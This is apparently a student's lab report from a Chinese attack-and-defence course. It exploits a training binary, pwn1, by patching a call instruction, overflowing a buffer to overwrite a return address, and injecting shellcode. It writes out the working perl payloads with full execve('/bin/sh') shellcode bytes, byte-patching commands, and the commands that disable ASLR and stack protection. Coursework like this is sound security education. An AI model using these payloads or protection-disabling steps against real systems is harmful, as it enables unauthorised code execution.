20242305 2026-2027-1 《网络与系统攻防技术》实验1实验报告

1. 基础知识

本次实验围绕Linux 32位ELF可执行文件pwn1展开,涉及以下基础知识:

(1)ELF文件格式:ELF文件由ELF Header、Program Header Table、Section Header Table及各个节组成,其中.text节存放机器指令,只读可执行。

(2)call指令与EIP:call指令是相对跳转,机器码为e8加4字节偏移。CPU执行时,用当前EIP加上偏移得到目标地址。偏移用补码表示,小端序存储。

(3)补码与小端序:负数在计算机中用补码表示;x86架构采用小端序,低字节存放在低地址。

(4)栈结构与返回地址:函数调用时,栈上依次保存局部变量、保存的 EBP、返回地址。若局部缓冲区溢出,可能覆盖保存的 EBP 和返回地址。

(5)BOF 攻击原理:利用 gets 等不检查长度的函数,输入超长字符串覆盖返回地址,使函数返回时跳转到指定地址。

(6)Payload布局:常见有NSR和RNS两种。RNS可避免shellcode与栈顶重叠。

(7)防御技术:Stack Canary、DEP/NX、ASLR。

2. 实验内容

本次实验包含三个递进任务:

任务一:直接修改pwn1的机器指令,将main中的call foo改为call getShell,改变程序执行流程。

任务二:通过构造输入字符串造成缓冲区溢出,覆盖foo函数的返回地址为getShell地址,触发getShell。

任务三:关闭堆栈保护、堆栈执行保护和地址随机化,注入自构造的shellcode,运行任意代码。

3. 实验过程

任务一:修改机器指令,改变执行流程

反汇编 pwn1,查看main、foo、getShell函数。
依次输入命令:objdump -d pwn1 | grep -A20 '<main>'和objdump -d pwn1 | grep -A2 '<getShell>'
b7cd6c4eed9ac7583525dbd09065431d
27a675eb5da96dd8c2056a80a71563d3

计算新偏移:目标地址getShell为0x804847d,下一条指令地址为0x80484ba,偏移= 0x804847d - 0x80484ba = -0x3d,补码为0xffffffc3,小端字节为c3 ff ff ff。所以要把e8 d7 ff ff ff改成e8 c3 ff ff ff。

定位文件偏移:虚拟地址0x80484b5对应文件偏移0x4b5,d7在0x4b6。
命令:xxd pwn1 | grep "f0e8"

cp pwn1 pwn2_20242305_liuyunzheprintf '\xc3' | dd of=pwn2_20242305_liuyunzhe bs=1 seek=$((0x4b6)) conv=notrunc

验证命令:xxd pwn2_20242305_liuyunzhe | grep "f0e8",输入后显示d7变c3;
objdump -d pwn2_20242305_liuyunzhe | grep -A5 '<main>' 显示call 804847d <getShell>。
fa4c470a692af02010699ac060ad16da

运行chmod +x pwn2_20242305_liuyunzhe && ./pwn2_20242305_liuyunzhe,得到shell,输入 id、whoami、exit。

811b9106ed9b7bf1daf50042770639b4

任务二:BOF覆盖返回地址,触发getShell

用gdb确认覆盖位置:
gdb -q ./pwn1,输入r,再输入1111111122222222333333334444444455555555,崩溃后info r eip 显示eip 0x35353535。
f84c683fe8d5dc0b936f39675e00f672

再次运行gdb,输入1111111122222222333333334444444412345678,info r eip显示eip 0x34333231,为小端序

b057d21cd664fe24a6977bc0e8b1abe5

生成攻击输入:getShell 地址 0x0804847d,小端为 \x7d\x84\x04\x08。

Perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242305_liuyunzhexxd input_20242305_liuyunzhe

注入输入:(cat input_20242305_liuyunzhe; cat) | ./pwn1,成功获取shell,输入id、whoami、pwd、exit。
07dc073c318e0bfe7b8591568bf77362

任务三:注入 Shellcode

关闭防护:

execstack -s pwn1execstack -q pwn1

sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

cat /proc/sys/kernel/randomize_va_space

可见最后显示0,关闭成功

d42be0977fd40d04ac3817a821d571b1

生成占位 payload:

perl -e 'print "A" x 32; print "\x04\x03\x02\x01"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x00"' > input_shellcode_placeholder_20242305_liuyunzhe

cc04e4c44dda970772d241a822a83090

终端1注入占位 payload:(cat input_shellcode_placeholder_20242305_liuyunzhe; cat) | ./pwn1,程序停在 gets。

打开一个新的终端2,找地址:
输入ps -ef | grep pwn1 得到进程号63492

继续输入:gdb -q,attach 63492

break *0x080484ae

c切回终端1按回车,gdb断下后继续输入

info r esp

p/x $esp+4。

生成最终 payload:

perl -e 'print "A" x 32; print "\x50\xcf\xff\xff"; print "\x90" x 16; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x00"' > input_shellcode_20242305_liuyunzhexxd input_shellcode_20242305_liuyunzhe

6fa1239e4b11079bf6dfdf95ea16742d

注入最终 payload:(cat input_shellcode_20242305_liuyunzhe; cat) | ./pwn1,按回车,输入 id、whoami、pwd、exit。

3724dcad785f98f6f132387a2490ad6e

4. 问题及解决方案

问题1:xxd pwn1 | grep "e8d7" 搜不到要改的字节。
解决方案:xxd 每两个字节一组显示,e8 d7 实际显示为 f0e8 d7ff,中间有空格。改搜 f0e8 即可定位。

问题2:下载的文件名包含 ?、& 等特殊字符,zsh 报 parse error near '&'。
解决方案:使用通配符重命名,如 mv l2um* pwn1,绕过特殊字符。

问题3:任务三第一次注入shellcode 失败,报Segmentation fault。
解决方案:gdb attach时看到的栈地址与重新运行程序时不同,且 NOP 太少容错不足。改用真实地址并增加NOP到16个后成功。

5. 学习感悟、思考

通过本次实验,我深刻体会到二进制漏洞利用的精密性。任务一中仅修改一个字节就能劫持整个程序的执行流,让我对机器指令和文件字节的对应关系有了直观认识。任务二和任务三让我理解了栈溢出的原理和payload构造方法,尤其是地址必须现查现用,不能照抄。实验过程中遇到了不少问题,比如xxd搜索、特殊字符转义、gdb attach地址差异等,通过查资料和调试逐一解决,收获很大。

6.参考资料:

《GCC 编译器堆栈保护技术》(http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html)

《Return-to-libc 攻击实验》(https://www.shiyanlou.com/courses/233/labs/754/document)

《ROP 攻击实例》(http://www.cnblogs.com/alisecurity/p/5646656.html)

《基本 Linux 漏洞攻击》(https://gitee.com/wildlinux/NetSec)

《ASLR Exploitation》(https://en.wikipedia.org/wiki/Address_space_layout_randomization#Exploitation)

《Linux可执行文件堆栈执行标识设置》(https://linux.die.net/man/8/execstack)

《矛与盾:二进制漏洞攻防思想对抗》(http://www.freebuf.com/articles/system/127207.html)

 
posted @ 2026-10-10 19:17  伍玖玖  阅读(6)  评论(0)    收藏  举报